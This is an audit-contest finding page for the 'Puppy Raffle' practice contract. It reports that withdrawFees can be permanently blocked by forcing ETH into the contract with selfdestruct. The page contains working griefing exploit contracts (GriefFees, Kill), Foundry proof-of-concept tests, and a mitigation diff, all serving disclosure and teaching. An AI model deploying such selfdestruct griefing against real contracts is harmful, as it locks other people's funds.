Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

When the balance of protocol is not equal to the variable totalFees the withdrawFees function reverts locking funds in contract

phylax

When the balance of protocol is not equal to the variable totalFees the withdrawFees function reverts locking funds in contract

Description

  • The withdrawFeesfunction sends the fees made from entranceFeesto the feeAddress.

  • Because the strict equality where address(this).balance has to match uint256(totalFees)funds may be locked in contract if the function reverts because of the require.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
​

Risk

Likelihood:

  • Any attacker can execute this with a single transaction costing only 1 wei plus gas, requiring no special permissions or insider knowledge, making it trivially cheap and accessible for anyone.

Impact:

  • The feeAddresscan never receive its accumulated protocol fees, and since the totalFeesaccounting remains intact while the actual balance is mismatched, the ETH is permanently locked with no recovery mechanism available to the owner.

Proof of Concept

If an attacker wants to permanently lock the fees earned by the owner of the protocol it needs to make a mismatch between the balance of the raffle contract and the totalFeesvariable.

Since the raffle contract does not have a receivefunction an attacker deploys a contract that has the raffle as target and calls selfdestructforcing the 1 weiinto the raffle contract making the mismatch so that when calling withdrawFeesit reverts locking the ETH in the contract permanently.

contract GriefFees {
constructor() payable {}
​
function attack(address payable target) external {
// Forces 1 wei into PuppyRaffle via selfdestruct.
// Now address(raffle).balance > totalFees forever.
// withdrawFees() will revert on every call.
selfdestruct(target);
}
}
function testGriefWithdrawFees() public {
// Players enter the raffle
address[] memory players = new address[](5);
players[0] = player1;
players[1] = player2;
players[2] = player3;
players[3] = player4;
players[4] = player5;
​
uint256 totalEntranceFee = entranceFee * players.length;
​
raffle.enterRaffle{value: totalEntranceFee}(players);
​
vm.warp(block.timestamp + raffleDuration + 1);
​
raffle.selectWinner();
​
uint256 totalFees = raffle.totalFees();
​
// Attacker deploys the GriefFees contract
GriefFees griefFees = new GriefFees{value: 1 wei}();
​
// Attacker calls attack to force 1 wei into the raffle contract
griefFees.attack(payable(address(raffle)));
​
uint256 raffleBalance = address(raffle).balance;
​
// Now the raffle's balance is greater than totalFees, causing withdrawFees to revert
vm.startPrank(owner);
vm.expectRevert("PuppyRaffle: There are currently players active!");
raffle.withdrawFees();
vm.stopPrank();
​
assertEq(raffleBalance, totalFees + 1 wei);
}

Recommended Mitigation

  1. Make the withdrawFeesfunction internal and call it from the selectWinnerfunction so fees are sent to feeAddressat the end of each raffle.

  2. Change the ==to >=in the check of the withdrawFeesfunction so that in edge cases where there is a balance mismatch the function does not revert.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @audit - psudorandom number generation is predictable and can be manipulated. In a production environment, consider using Chainlink VRF or another secure randomness source.
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
​
uint256 tokenId = totalSupply();
​
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
​
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ _withdrawFees();
}
​
/// @notice this function will withdraw the fees to the feeAddress
- function withdrawFees() external {
+ function _withdrawFees() internal {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!